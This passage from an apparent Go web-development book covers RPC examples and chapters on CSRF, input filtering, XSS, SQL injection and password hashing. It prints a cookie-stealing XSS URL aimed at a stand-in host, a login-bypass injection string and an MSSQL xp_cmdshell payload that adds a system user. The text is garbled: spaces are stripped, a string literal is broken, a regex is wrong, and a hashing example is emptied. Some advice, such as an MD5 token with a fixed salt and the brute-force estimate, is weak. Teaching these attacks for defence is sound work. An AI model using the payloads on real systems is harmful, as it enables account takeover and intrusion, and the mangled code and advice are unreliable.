import("fmt""log""net/rpc""os")
typeArgsstruct{A,Bint}
typeQuotientstruct{Quo,Remint}
funcmain(){iflen(os.Args)!=2{fmt.Println("Usage:",os.Args[0],"server:port")os.Exit(1)}service:=os.Args[1]
client,err:=rpc.Dial("tcp",service)iferr!=nil{log.Fatal("dialing:",err)}//Synchronouscallargs:=Args{17,8}varreplyinterr=client.Call("Arith.Multiply",args,&reply)iferr!=nil{
log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d*%d=%d\n",args.A,args.B,reply)
varquotQuotienterr=client.Call("Arith.Divide",args,")iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d/%d=%dremainder%d\n",args.A,args.B,quot.Quo,quot.Rem)
}
TheonlydifferenceintheclientsidecodeisthatHTTPclientsuseDialHTTPwhereasTCPclientsuseDial(TCP).
JSONRPC
JSONRPCencodesdatatoJSONinsteadofgob.Let'sseeanexampleofaGoJSONRPContheserver:
packagemain
import("errors""fmt""net""net/rpc""net/rpc/jsonrpc""os")
typeArgsstruct{A,Bint}
typeQuotientstruct{Quo,Remint}
typeArithint
func(t*Arith)Multiply(args*Args,reply*int)error{*reply=args.A*args.Breturnnil}
func(t*Arith)Divide(args*Args,quo*Quotient)error{ifargs.B==0{returnerrors.New("dividebyzero")}quo.Quo=args.A/args.Bquo.Rem=args.A%args.Breturnnil}
funcmain(){
arith:=new(Arith)rpc.Register(arith)
tcpAddr,err:=net.ResolveTCPAddr("tcp",":1234")checkError(err)
listener,err:=net.ListenTCP("tcp",tcpAddr)checkError(err)
for{conn,err:=listener.Accept()iferr!=nil{continue}jsonrpc.ServeConn(conn)}
}
funccheckError(errerror){iferr!=nil{fmt.Println("Fatalerror",err.Error())os.Exit(1)}}
JSONRPCisbasedonTCPanddoesn'tsupportHTTPyet.
Theclientsidecode:
packagemain
import("fmt""log""net/rpc/jsonrpc""os")
typeArgsstruct{A,Bint}
typeQuotientstruct{Quo,Remint}
funcmain(){iflen(os.Args)!=2{fmt.Println("Usage:",os.Args[0],"server:port")log.Fatal(1)}service:=os.Args[1]
client,err:=jsonrpc.Dial("tcp",service)iferr!=nil{log.Fatal("dialing:",err)}//Synchronouscallargs:=Args{17,8}varreplyinterr=client.Call("Arith.Multiply",args,&reply)iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d*%d=%d\n",args.A,args.B,reply)
varquotQuotienterr=client.Call("Arith.Divide",args,")iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d/%d=%dremainder%d\n",args.A,args.B,qu
ot.Quo,quot.Rem)
}
Summary
GohasgoodsupportforHTTP,TPCandJSONRPCimplementationwhichallowustoeasilydevelopdistributedwebapplications;however,itisregrettablethatGodoesn'thavebuilt-insupportforSOAPRPC,althoughsomeopensourcethird-partypackagesdoofferthis.
Links
DirectoryPrevioussection:RESTNextsection:Summary
8.5SummaryInthischapter,Iintroducedyoutoseveralmainstreamwebapplicationdevelopmentmodels.Insection8.1,Idescribedthebasicsofnetworkprogrammingsockets.Becauseoftherapidevolutionofnetworktechnologyandinfrastructure,andgiventhattheSocketisthecornerstoneofthesechanges,youmustmastertheconceptsbehindsocketprogramminginordertobeacompetentwebdeveloper.Insection8.2,IdescribedHTML5WebSocketswhichsupportfull-duplexcommunicationsbetweenclientandserverandeliminatetheneedforpollingwithAJAX.Insection8.3,weimplementedasimpleapplicationusingtheRESTarchitecture,whichisparticularlysuitableforthedevelopmentofnetworkAPIs;duetotherapidriseofmobileapplications,IbelievethatRESTfulAPIswillbeanongoingtrend.Insection8.4,welearnedaboutGoRPCs.
Goprovidesexcellentsupportforthefourkindsofdevelopmentmethods
mentionedabove.Notethatthenetpackageanditssub-packagesistheplacewhereGo'snetworkprogrammingtoolsGoreside.Ifyouwantamorein-depthunderstandingoftherelevantimplementationdetails,youshouldtryreadingthesourcecodeofthosepackages.
Links
DirectoryPrevioussection:RPCNextchapter:Securityandencryption
9SecurityandencryptionSecurityisanextremelyimportantaspectofmostwebapplications.Thistopichasbeengettingmoreandmoreattentionlately,especiallyinlightoftherecentCSDN,LinkedinandYahoopasswordleaks.AsGodevelopers,wemustbeawareofvulnerabilitiesinourapplicationsandtakeprecautionsinordertopreventattackersfromtakingoveroursystems.
Manyofthesecurityproblemsthatariseinmodernwebapplicationsoriginatefromdataprovidedbythird-parties.Forexample,userinputshouldalwaysbevalidatedandsanitizedbeforebeingstoredassecuredata.Ifthisisn'tdone,whenthedataisoutputtedtoaclient,itmaycauseacross-sitescriptingattack(XSS).Similarly,ifunsafedataisuseddirectlyasyourapplication'sdatabasequeries,thenyoumaybevulnerabletoSQLinjectionattacks.Insections9.3and9.4,we'lllookathowtoavoidtheseproblems.
Whenusingthird-partydata(whichincludesuser-supplieddata),firstverifytheintegrityofthedatabyfilteringtheinput.Section9.2willdescribehowtofilterinput.
Unfortunately,filteringinputandescapingoutputdoesnotsolveallsecurityproblems.Insection9.1,wewillexplaincross-siterequestforgery(CSRF)attacks.Thisisamaliciousexploitwhereunauthorizedcommandsare
transmittedfromauserthatthewebsitetrusts.
Keepingconfidentialdataencryptedcanalsohelpyoutosecureyourwebapplications.Insection9.5,wewilldescribehowtostorepasswordssafelyusingGo'sencryptionpackage.
Agoodhashfunctionmakesithardtofindtwostringsthatwouldproducethesamehashvalue,andthisisonewaywithwhichwecanencryptourdata.Thereisalsotwo-wayencryption,whereyouuseasecretkeytodecryptencrypteddata.Insection9.6wewilldescribehowtoperformbothone-wayandtwo-wayencryption.
Links
DirectoryPreviousChapter:Chapter8SummaryNextsection:CSRFattacks
9.1CSRFattacks
WhatisCSRF?
CSRFandXSRFbothstandfor"Cross-siterequestforgery".It'salsoknownasa"oneclickattack"or"sessionriding".
SohowdoesaCSRFattackwork?ACSRFattackhappenswhenanattackertricksatrusteduserintoaccessingawebsiteorclickingaURLthattransmitsmaliciousrequests(withouttheuser’sconsent)toatargetedwebsite.Here'sasimpleexample:usingafewsocialengineeringtricks,anattackercouldusetheQQchatsoftwaretofindandsendmaliciouslinkstovictimstargetedattheiruser'sonlinebankingwebsite.Ifthevictimlogsintotheironlinebankaccountanddoesnotexit,thenclickingonamaliciouslinksentfromtheattackercouldallowtheattackertostealalloftheuser'sbankaccount
funds.
WhenunderaCSRFattack,asingleend-userwithanadministratoraccountcanthreatentheintegrityoftheentirewebapplication.
CSRFprinciple
ThefollowingdiagramprovidesasimpleoverviewofaCSRFattack
Figure9.1CSRFattackprocess.
Ascanbeseenfromthefigure,tocompleteaCSRFattack,thevictimmustcompletethefollowingtwosteps:
-1.LogintotrustedsiteA,andstorealocalCookie.-2.WithoutgoingthroughexistingsiteA,accessthedangerouslinktositeB.
Asareaderyoumaybeasking:"IfIdonotmeettheabovetwoconditions,IwillwillnotbesubjectedtoCSRFattacks."Yesthisistrue,howeveryoucannotguaranteethatthefollowingdoesnotoccur:
Youcannotguaranteethatwhenyouareloggedintoasite,thesitedidn'tlaunchanyhiddentabs.Youcannotguaranteethatwhenyoucloseyourbrowser,yourcookieswillimmediatelyexpireandyourlastsessionwillhaveended.Trusted,hightrafficwebsiteswilllikelynothavehiddenvulnerabilitieseasilyexploitablebyCSRFbasedattacks.
Thus,itcanbedifficultforuserstovisitawebsitethroughalinkandknowthatitwillnotcarryoutunknownoperationsintheformofaCSRFattack.
CSRFattacksworkmostlybecauseoftheprocessthroughwhichusersareauthenticated.Althoughyoucanreasonablyguaranteethatarequestoriginatesfromauser'sbrowser,thereisnoguaranteethattheusergrantedapprovalfortherequest.
HowtopreventCSRFattacks
Youmightbealittlescaredafterreadingthesectionabove.Butfearisagoodthing.Itwillforceyoueducateyourselfonhowtopreventvulnerabilitieslikethisfromhappeningtoyou.
PreventativemeasuresagainstCSRFattackscanbetakenonboththeserverandclientsidesofawebapplication.However,CSRFattacksaremosteffectivelythwartedontheserverside.
TherearemanywaysofpreventingCSRFattacksaretheserverside.Mostapproachesstemfromfromthefollowingtwoaspects:
1. MaintainingproperuseofGET,POSTandcookies.
2. Includingapseudo-randomnumberwithnon-GETrequests.
InthepreviouschapteronREST,wesawhowmostwebapplicationsarebasedonGETandPOSTHTTPrequests,andthatcookieswereincludedalongwiththeserequests.Wegenerallydesignapplicationasaccordingtothefollowingprinciples:
1. GETiscommonlyusedtoviewinformationwithoutalteringanydata.
2. POSTisusedinplacingorders,changingthepropertiesofaresourceorperformingothertasks.
I'mnowgoingtousetheGolanguagetoillustratehowtorestrictaccesstoresourcesmethods:
mux.Get("/user/:uid",getuser)mux.Post("/user/:uid",modifyuser)
Sincewe'vestipulatedthatmodificationscanonlyusePOST,whenaGETmethodisissuedinsteadofaPOST,wecanrefusetorespondtotherequest.Accordingtothefigureabove,attacksutilizingGETasaCSRFexploitcanbeprevented.IsthisenoughtopreventallpossibleCSRFattacks?Ofcoursenot,becausePOSTscanalsobeforged.
Weneedtoimplementasecondstep,whichis(inthecaseofnon-GETrequests)toincreasethelengthofthepseudo-randomnumberincludedwiththerequest.Thisusuallyinvolvessteps:
Foreachuser,generateauniquecookietokenwithapseudo-randomvalue.Allformsmustcontainthesamepseudo-randomvalue.Thisproposalisthesimplestonebecauseintheory,anattackercannotreadthirdpartycookies.Anyformthatanattackermaysubmitwillfailthevalidationprocesswithoutknowingwhattherandomvalueis.Differentformscontaindifferentpseudo-randomvalues,aswe'veintroducedinsection4.4,"Howtopreventmultipleformsubmission".Wecanreusetherelevantcodefromthatsectionsuitourneeds:
Generatingarandomnumbertoken:
h:=md5.New()io.WriteString(h,strconv.FormatInt(crutime,10))io.WriteString(h,"ganraomaxxxxxxxxx")token:=fmt.Sprintf("%x",h.Sum(nil))
t,_:=template.ParseFiles("login.gtpl")t.Execute(w,token)
Outputtoken:
<inputtype="hidden"name="token"value="{{.}}">
Authenticationtoken:
r.ParseForm()token:=r.Form.Get("token")iftoken!=""{//Verificationtokenoflegitimacy}Else{//Errortokendoesnotexist}
WecanusetheprecedingcodetosecureourPOSTs.Youmightbewondering,inaccordancewithourtheory,whethertherecouldbesomewayforamaliciousthirdpartytosomehowfigureoutoursecrettokenvalue?Infact,crackingitisbasicallyimpossible-successfullycalculatingthecorrectstringvalueusingbruteforcemethodsneedsabout2tothe11thtime.
Summary
Cross-siterequestforgery,otherwiseknownasCSRF,isaverydangerouswebsecuritythreat.Itisknowninwebsecuritycirclesasa"sleepinggiant"securityissue;asyoucantell,CSRFattackshavequitethereputation.This
sectionnotonlyintroducedcross-siterequestforgeryitself,butfactorsunderlyingthisvulnerability.Itconcludeswithsomesuggestionsandmethodsforpreventingsuchattacks.Ihopethissectionwillhaveinspiredyou,asareader,towritebetterandmoresecurewebapplications.
Links
DirectoryPrevioussection:SecurityandencryptionNextsection:Filterinputs
9.2FilteringinputsFilteringuserdataisonewaywecanimprovethesecurityofourwebapps,usingittoverifythelegitimacyofincomingdata.Alloftheinputdataisfilteredinordertoavoidmaliciouscodeordatafrombeingmistakenlyexecutedorstored.Mostwebapplicationvulnerabilitiesariseformneglectingtofilterinputdataandnaivelytrustingit.
Ourintroductiontofilteringdataisdividedintothreesteps:
1. identifyingthedata;weneedtofilterthedatatofigureoutwhereitoriginatedform
2. filteringofthedataitself;weneedtofigureoutwhatkindofdatawehavereceived
3. distinguishbetweenfiltered(sanitized)andtainteddata;afterthedatahasbeenfiltered,wecanbeassuredthatitisissecure
Identifyingdata
"Identifyingthedata"isourfirststepbecausemostofthetime,asmentioned,wedon'tknowwhereitoriginatesfrom.Withoutthisknowledge,wewouldbeunabletoproperlyfilterit.Thedatahereisprovidedinternally
allfromnon-codedata.Forexample:alldatacomesfromclients,howeverclientsthatareusersarenottheonlyexternalsourcesofdata.Adatabaseinterfaceprovidingthirdpartydatacouldalsobeanexternaldatasource.
DatathathasbeenenteredbyauserisveryeasytorecognizeinGo.Weuser.ParseFormaftertheuserPOSTsaformtogetallofthedatainsidether.Form.Othertypesofinputaremuchhardertoidentify.Forexampleinr.Headers,manyoftheelementsareoftenmanipulatedbytheclient.Itcanoftenbedifficulttoidentifywhichoftheseelementshavebeenmanipulatedbyclients,soit'sbesttoconsiderallofthemashavingbeentainted.Ther.Header.Get("Accept-Charset")headerfield,forinstance,isalsoconsideredasuserinput,althoughthesearetypicallyonlymanipulatedbybrowsers.
Filteringdata
Ifweknowthesourceofthedata,wecanfilterit.Filteringisabitofaformaluseoftheterm.Theprocessisknownbymanyothertermssuchasinputcleaning,validationandsanitization.Despitethefactthatthesetermssomewhatdifferintheirmeaning,theyallrefertothesamething:theprocessofpreventingillegaldatafrommakingitswayintoyourapplications.
Therearemanywaystofilterdata,someofwhicharelesssecurethanothers.Thebestmethodistocheckwhetherornotthedataitselfmeetsthelegalrequirementsdictatedbyyourapplication.Whenattemptingtodoso,it'sveryimportantnottomakeanyattemptsatcorrectingtheillegaldata;thiscouldallowmalicioususerstomanipulateyourvalidationrulesfortheirownneeds,altogetherdefeatingthepurposeoffilteringthedatainthefirstplace.Historyhasproventhatattemptingtocorrectinvaliddataoftenleadstosecurityvulnerabilities.Let'stakealookatanoverlysimpleexampleforillustrationpurposes.Supposethatabankingsystemasksuserstosupplyasecure,6digitpassword.Thesystemvalidatesthelengthofallpasswords.Onemightnaivelywriteavalidationrulethatcorrectspasswordsofillegallengths:"Ifapasswordisshorterthanthelegallength,fillintheremainingdigitswith0s".Thissimplerulewouldallowattackerstoguessjustthefirstfewdigitsofapasswordtosuccessfullygainaccesstouseraccounts!
Wecanuseseverallibrariestohelpustofilterdata:
Thestrconvpackagecanhelpustoconvertuserinputedstringsintospecifictypes,sincer.Formsaremapsofstringvalues.SomecommonstringconversionsprovidedbystrconvareAtoi,ParseBool,ParseFloatandParseInt.Go'sstringspackagecontainssomefilterfunctionslikeTrim,ToLowerandToTitle,whichcanhelpustoobtaindatainaspecificformats,accordingtoourneeds.Go'sregexppackagecanbeusedtohandlecaseswhicharemorecomplexinnature,suchasdeterminingwhetheraninputisanemailaddress,abirthday,etc.
Filteringincomingdatainadditiontoauthenticationcanbequiteeffective.Let'saddanothertechniquetoourrepertoire,calledwhitelisting.Whitelistingisagoodwayofconfirmingthelegitimacyofincomingdata.Usingthismethod,ifanerroroccurs,itcanonlymeanthattheincomingdataisillegal,andnottheopposite.Ofcourse,wedon'twanttomakeanymistakesinourwhitelistbyfalselylabellinglegitimatedataasillegal,butthisscenarioismuchbetterthanillegaldatabeinglabeledaslegitimate,andthusmuchmoresecure.
Distinguishingbetweenfilteredandtainteddata
Ifyouhavecompletedtheabovesteps,thejoboffilteringdatahasbasicallybeencompleted.Howeverwhenwritingwebapplications,wealsoneedtodistinguishbetweenfilteredandtainteddatabecausedoingsocanguaranteetheintegrityofourdatafilteringprocesswithoutaffectingtheinputdata.Let'sputallofourfiltereddataintoaglobalmapvariablecalledCleanMap.Then,twoimportantstepsarerequiredtopreventcontaminationviadatainjection:
EachrequestmustinitializeCleanMapasanemptymap.PreventvariablesfromexternaldatasourcesnamedCleanMapfrom
beingintroducedintotheapp.
Next,let'suseanexampleformtoreinforcetheseconcepts:
<formaction="/whoami"method="POST">WhoamI:<selectname="name"><optionvalue="astaxie">astaxie</option><optionvalue="herry">herry</option><optionvalue="marry">marry</option></select><inputtype="submit"/></form>
Indealingwiththistypeofform,itcanbeveryeasytomakethemistakeofthinkingthatuserswillonlybeabletosubmitoneofthethreeselectoptions.Infact,POSToperationscaneasilybesimulatedbyattackers.Forexample,bysubmittingthesameformwithname=attack,amalicioususercouldintroduceillegaldataintooursystem.Wecanuseasimplewhitelisttocounterthesetypesofattacks:
r.ParseForm()name:=r.Form.Get("name")CleanMap:=make(map[string]interface{},0)ifname=="astaxie"||name=="herry"||name=="marry"{CleanMap["name"]=name}
TheabovecodeinitializesaCleanMapvariable,andanameisonlyassignedaftercheckingitagainstaninternalwhitelistoflegitimatevalues(astaxie,herryandmarryinthiscase).WestorethedataintheCleanMapinstancesoyoucanbesurethatCleanMap["name"]holdsavalidatedvalue.Anycodewishingtoaccessthisvaluecanthenfreelydoso.Wecanalsoaddanadditionalelsestatementtotheaboveifwhitelistfordealingwithillegaldata,apossibilitybeingthattheformwasdisplayedwithanerror.Donottrytobetooaccommodatingthough,oryouruntheriskofaccidentallycontaminatingyourCleanMap.
Theabovemethodforfilteringdataagainstasetofknown,legitimatevaluesisveryeffective.Thereisanothermethodforcheckingwhetherornotincomingdataconsistsoflegalcharactersusingregexp,howeverthiswouldbeineffectualintheabovecasewherewerequirethatthenamebeanoptionfromtheselect.Forexample,youmayrequirethatusernamesonlyconsistoflettersandnumbers:
r.ParseForm()username:=r.Form.Get("username")CleanMap:=make(map[string]interface{},0)ifok,_:=regexp.MatchString("^[a-zA-Z0-9].$",username);ok{CleanMap["username"]=username}
Summary
Datafilteringplaysavitalroleinthesecurityofmodernwebapplications.Mostsecurityvulnerabilitiesaretheresultofimproperlyfilteringdataorneglectingtoproperlyvalidateit.BecausetheprevioussectiondealtwithCSRFattacksandthenexttwowillbeintroducingXSSattacksandSQLinjection,therewasnonaturalsegueintodealingwithasimportantatopicasdatasanitization,sointhissection,wepaidspecialattentiontoit.
Links
DirectoryPrevioussection:CSRFattacksNextsection:XSSattacks
9.3XSSattacksWiththedevelopmentofInternettechnology,webapplicationsareoftenpackedwithdynamiccontenttoimproveuserexperience.Dynamiccontent
iscontentthatreactsandchangesaccordingtouserrequestsandactions.Dynamicsitesareoftensusceptibletocross-sitescriptingattacks(oftenreferredtobysecurityexpertsinitsabbreviatedform,XSS),somethingwhichstaticwebsitesarecompletelyunaffectedby.
WhatisXSS
Asmentioned,thetermXSSisanacronymforCross-SiteScripting,whichisatypeofattackcommonontheweb.Inordernottoconfuseitwithanothercommonwebacronym,CSS(CascadingStyleSheets),weuseanXinsteadofaCforthecrossincross-sitescripting.XSSisacommonwebsecurityvulnerabilitywhichallowsattackerstoinjectmaliciouscodeintowebpages.Unlikemosttypesofattackswhichgenerallyinvolveonlyanattackerandavictim,XSSinvolvesthreeparties:anattacker,aclientandawebapplication.ThegoalofanXSSattackistostealcookiesstoredonclientsbywebapplicationsforthepurposeofreadingsensitiveclientinformation.Onceanattackergetsaholdofthisinformation,theycanimpersonateusersandinteractwithwebsiteswithouttheirknowledgeorapproval.
XSSattackscanusuallybedividedintotwocategories:oneisastoredXSSattack.Thisformofattackariseswhenusersareallowedtoinputdataontoapublicpage,whichafterbeingsavedbytheserver,willbereturned(unescaped)tootherusersthathappentobebrowsingit.Someexamplesofthetypesofpagesthatareoftenaffectedincludecomments,reviews,blogpostsandmessageboards.Theprocessoftengoeslikethis:anattackerenterssomehtmlfollowedbyahidden<script>tagcontainingsomemaliciouscode,thenhitssave.Thewebapplicationsavesthistothedatabase.Whenanotheruserrequeststhispage,theapplicationqueriesthistainteddatafromthedatabaseandservesthepagetotheuser.Theattacker'sscriptthenexecutesarbitrarycodeontheclient'scomputer.
TheothertypeisareflectedXSSattack.ThemainideaistoembedamaliciousscriptdirectlyintothequeryparametersofaURLaddress.Aserverthatimmediatelyparsesthisdataintoapageofresultsandreturnsit(totheclientwhomadetherequest)unsanitized,canunwittinglycausetheclient'scomputertoexecutethiscode.Anattackercansendausera
legitimatelookinglinktoatrustedwebsitewiththeencodedpayload;clickingonthislinkcancausetheuser'sbrowsertoexecutethemaliciousscript.
XSSpresentthemainmeansandendsasfollows:
Theftofcookies,accesstosensitiveinformation.TheuseofembeddedFlash,throughcrossdomainpermissions,canalsobeusedbyanattackertoobtainhigheruserpriviledges.ThisalsoappliesforothersimilarattackvectorssuchasJavaandVBScript.Theuseofiframes,frames,XMLHttpRequests,etc.,canallowanattackertoassumetheidentityofausertoperformadministrativeactionssuchasmicro-blogging,addingfriends,sendingprivatemessages,andotherroutineoperations.Awhileago,theSinamicrobloggingplatformsufferedfromthistypeofXSSvulnerability.WhenmanyusersvisitapageaffectedbyanXSSattack,theeffectonsomesmallersitescanbecomparabletothatofaDDoSattack.
XSSprinciples
Webapplicationsthatreturnrequesteddatatouserswithoutfirstinspectingandfilteringitcanallowmalicioususerstoinjectscripts(typicallyembeddedinsideHTMLwithin<script>tags)ontootherusers'browsers.Whenthismaliciouscodeisrenderedonauser'sbrowserwithoutfirsthavingbeenescapedfrom,theuser'sbrowserwillinterpretthiscode:thisisthedefinitionofanXSSattack,andthistypeofmistakeistheleadingcauseofXSSvulnerabilities.
Let'sgothroughtheprocessofareflectiveXSSattack.Let'ssaythere'sawebsitethatoutputsauser'snameaccordingtotheURLqueryparameters;accessthefollowingURLhttp://127.0.0.1/?name=astaxiewillcausetheservertooutputthefollowing:
helloastaxie
Let'ssaywepassthefollowingparameterinstead,accessingthesameurl:http://127.0.0.1/?name=<script>alert('astaxie,xss')</script>.Ifthiscausesthebrowsertoproduceanalertpop-upbox,wecanconfirmthatthesiteisvulnerabletoXSSattacks.Sohowdomalicioususersstealcookiesusingthesametypeofattack?
Justlikebefore,wehaveaURL:
http://127.0.0.1/?name=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>
ByclickingonthisURL,you'dbesendingthecurrentcookietothespecifiedsite:www.xxx.com.Youmightbewondering,whywouldanybodyclickonsuchastrangelookingURLinthefirstplace?Whileit'struethatthiskindofURLwillmakemostpeopleskeptical,ifanattackerweretouseoneofthemanypopularURLshorteningservicestoobscureit,wouldyoustillbeabletoseeit?MostattackerswouldobfuscatetheURLinonewayoranother,andyou'donlyknowthelegitimacyofthelinkafterclickingonit.Howeverbythispoint,cookiedatawillhavealreadybeensenttothe3rdpartywebsite,compromisingyoursensitiveinformation.YoucanusetoolslikeWebsleuthtoauditthesecurityofyourwebapplicationsforthesetypesofvulnerabilities.
ForamoredetailedanalysisonanXSSattack,havealookatthearticle:"[SinamicrobloggingXSSeventanalysis](http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html)"
HowtopreventXSS
Theanswerissimple:nevertrustuserinput,andalwaysfilteroutallspecialcharactersinanyinputdatayoumayreceive.ThiswilleliminatethemajorityofXSSattacks.
UsethefollowingtechniquestodefendagainstXSSattacks:
Filterspecialcharacters
OnewaytoavoidXSSistofilteruser-suppliedcontent.TheGolanguageprovidessomeHTMLfilteringfunctionsinitstext/templatepackgesuchasHTMLEscapeStringandJSEscapeString,tonameafew.
SpecifythecontenttypeinyourHTTPheaders
w.Header().Set("Content-Type","text/javascript")
Thisallowsclientbrowserstoparsetheresponseasjavascriptcode(applyingtheneccessaryfilters)insteadofrenderingthecontentinanunspecifiedandpotentiallydangerousmanner.
Summary
IntroducingXSSvulnerabilitiesisaveryrealhazardwhendeveloppingwebapplications.Itisimportanttoremembertofilteralldata,especiallybeforeoutputtingittoclients;thisisnowawell-establishedmeansofpreventingXSS.
Links
DirectoryPrevioussection:FilterinputsNextsection:SQLinjection
9.4SQLinjection
WhatisSQLinjection
SQLinjectionattacksare(asthenamewouldsuggest)oneofthemanytypesofscriptinjectionattacks.Inwebdevelopment,thesearethemost
commonformofsecurityvulnerabilities.Attackerscanuseittoobtainsensitiveinformationfromdatabases,andaspectsofanattackcaninvolveaddinguserstothedatabase,exportingprivatefiles,andevenobtainingthehighestsystemprivilegesfortheirownnefariouspurposes.
SQLinjectionoccurswhenwebapplicationsdonoteffectivelyfilteroutuserinput,leavingthedoorwideopenforattackerstosubmitmaliciousSQLquerycodetotheserver.Applicationsoftenreceiveinjectedcodeaspartofanattacker'sinput,whichaltersthelogicoftheoriginalqueryinsomeway.Whentheapplicationattemptstoexecutethequery,theattacker'smaliciouscodeisexecutedinstead.
SQLinjectionexamples
ManywebdevelopersdonotrealizehowSQLqueriescanbetamperedwith,andmayholdthemisconceptionthattheyaretrustedcommands.Aseveryoneknows,SQLqueriesareabletocircumventaccesscontrols,therebybypassingthestandardauthenticationandauthorizationchecks.What'smore,it'spossibletorunSQLqueriesthroughcommandsatthelevelofthehostsystem.
Let'shavealookatsomerealexamplestoexplaintheprocessofSQLinjectionindetail.
Considerthefollowingsimpleloginform:
<formaction="/login"method="POST"><p>Username:<inputtype="text"name="username"/></p><p>Password:<inputtype="password"name="password"/></p><p><inputtype="submit"value="Login"/></p></form>
Ourformprocessingmightlooklikethis:
username:=r.Form.Get("username")
password:=r.Form.Get("password")sql:="SELECT*FROMuserWHEREusername='"+username+"'ANDpassword='"+password+"'"
Iftheuserinputsausernameorpasswordas:
myuser'or'foo'='foo'--
ThenourSQLbecomesthefollowing:
SELECT*FROMuserWHEREusername='myuser'or'foo'='foo'--''ANDpassword='xxx'
InSQL,anythingafter--isacomment.Thus,insertingthe--astheattackerdidabovealtersthequeryinafatalway,allowinganattackertosuccessfullyloginasauserwithoutavalidpassword.
FarmoredangerousexploitsexistforMSSQLSQLinjections,andsomecanevenperformsystemcommands.ThefollowingexampleswilldemonstratehowterribleSQLinjectionscanbeinsomeversionsofMSSQLdatabases.
sql:="SELECT*FROMproductsWHEREnameLIKE'%"+prod+"%'"Db.Exec(sql)
Ifanattackersubmitsa%'execmaster..xp_cmdshell'netusertesttestpass/ADD'--asthe"prod"variable,thenthesqlwillbecome
sql:="SELECT*FROMproductsWHEREnameLIKE'%a%'execmaster..xp_cmdshell'netusertesttestpass/ADD'--%'"
TheMSSQLServerexecutestheSQLstatementincludingthecommandsintheusersupplied"prod"variable,whichaddsnewuserstothesystem.Ifthis
programisrunasis,andtheMSSQLSERVERservicehassufficientprivileges,anattackercanregisterasystemaccounttoaccessthismachine.
Althoughtheexamplesabovearetiedtoaspecificdatabasesystem,thisdoesnotmeanthatotherdatabasesystemscannotbesubjectedtosimilartypesofattacks.TheprinciplesbehindSQLinjectionattacksremainthesame,thoughthemethodwithwhichtheyareperpetratedmayvary.
HowtopreventSQLinjection
Youmightbethinkingthatanattackerwouldhavetoknowinformationaboutthetargetdatabase'sstructureinordertocarryoutanSQLinjectionattack.Whilethisistrue,it'sdifficulttoguaranteethatanattackerwon'tbeabletofindthisinformationandoncetheygetit,thedatabasecanbecompromised.Ifyouareusingopensourcesoftwaretoaccessthedatabase,suchasaforumapplication,intruderscaneasilygettherelatedcode.Obviouslywithpoorlydesignedcode,thesecurityrisksareevengreater.Discuz,phpwindandphpcmsaresomeexamplesofpopularopensourceprogramsthathavebeenvulnerabletoSQLinjectionattacks.
Theseattackshappentosystemswheresafetyprecautionsarenotprioritized.We'vesaiditbefore,we'llsayitagain:nevertrustanykindofinput,especiallyuserdata.Thisincludesdatacomingfromselectionboxes,hiddeninputfieldsorcookies.Asourfirstexampleabovehasshown,evensupposedlynormalqueriescancausedisasters.
SQLinjectionattackscanbedevastating-howcandoweevenbegintodefendagainstthem?ThefollowingsuggestionsareagoodstartingpointforpreventingSQLinjection:
1. Strictlylimitpermissionsfordatabaseoperationssothatusersonlyhavetheminimumsetofpermissionsrequiredtoaccomplishtheirwork,thusminimizingtheriskofdatabaseinjectionattacks.
2. Checkthatinputdatahastheexpecteddataformat,andstrictlylimitthetypesofvariablesthatcanbesubmitted.Thiscaninvolveregexp
matching,orusingthestrconvpackagetoconvertstringsintootherbasictypesforsanitizationandevaluation.
3. Transcodeorescapefrompairsofspecialcharacters('"\&*;etc.)beforepersistingthemintothedatabase.Go'stext/templatepackagehasaHTMLEscapeStringfunctionthatcanbeusedtoreturnescapedHTML.
4. Useyourdatabase'sparameterizedqueryinterface.ParameterizedstatementsuseparametersinsteadofconcatenatinguserinputvariablesinembeddedSQLstatements;inotherwords,theydonotdirectlyspliceSQLstatements.Forexample,usingthethePreparefunctioninGo'sdatabase/sqlpackage,wecancreatepreparedstatementsforlaterexecutionwithQueryorExec(querystring,args...interface{}).
5. Beforereleasingyourapplication,thoroughlytestitusingprofessionaltoolsfordetectingSQLinjectionvulnerabilitiesandtorepairthem,iftheyexist.Therearemanyonlineopensourcetoolsthatdojustthis,suchassqlmap,SQLninja,tonameafew.
6. AvoidprintingoutSQLerrorinformationonpublicwebpages.AttackerscanusetheseerrormessagestocarryoutSQLinjectionattacks.Examplesofsucherrorsaretypeerrors,fieldsnotmatchingerrors,oranyerrorscontainingSQLstatements.
Summary
Throughtheaboveexamples,we'velearnedthatSQLinjectionisaveryrealandverydangerouswebsecurityvulnerability.Whenwewritewebapplication,weshouldpayattentiontoeverylittledetailandtreatsecurityissueswiththeutmostcare.Doingsowillleadtobetterandmoresecurewebapplications,andcanultimatelybethedetermingfactorinwhetherornotyourapplicationsucceeds.
Links
DirectoryPrevioussection:XSSattacks
Nextsection:Passwordstorage
9.5PasswordstorageOvertheyears,manywebsiteshavesufferedfrombreachesinuserpassworddata.EventopinternetcompaniessuchasLinkedinandCSDN.nethavebeeneffected.Theimpactofthesetypesofeventshasbeenfeltacrosstheentireinternet,andcannotbeunderestimated.Thisisespeciallythecasefortoday'sinternetusers,whooftenadoptthehabitofusingthesamepasswordformanydifferentwebsites.
Aswebdevelopers,wehavemanychoiceswhenitcomestoimplementingapasswordstoragescheme.However,thisfreedomisoftenadoubleedgedsword.Sowhatarethecommonpitfallsandhowcanweavoidfallingintothem?
Commonsolutions
Currently,themostfrequentlyusedpasswordstorageschemeistoone-wayhashplaintextpasswordsbeforestoringthem.Themostimportantcharacteristicofone-wayhashingisthatitisinfeasibletorecovertheoriginaldatagiventhehasheddata-hencethe"one-way"inone-wayhashing.Commonlyusedcryptographic,one-wayhashalgorithmsincludeSHA-256,SHA-1,MD5andsoon.
YoucaneasilyusethethreeaforementionedencryptionalgorithmsinGoasfollows:
//import"crypto/sha256"h:=sha256.New()io.WriteString(h,"Hismoneyistwicetainted:'taintyoursand'taintmine.")fmt.Printf("%x",h.Sum(nil))
//import"crypto/sha1"h:=sha1.New()
io.WriteString(h,"Hismoneyistwicetainted:'taintyoursand'taintmine.")fmt.Printf("%x",h.Sum(nil))
//import"crypto/md5"h:=md5.New()io.WriteString(h,"" )fmt.Printf("%x",h.Sum(nil))
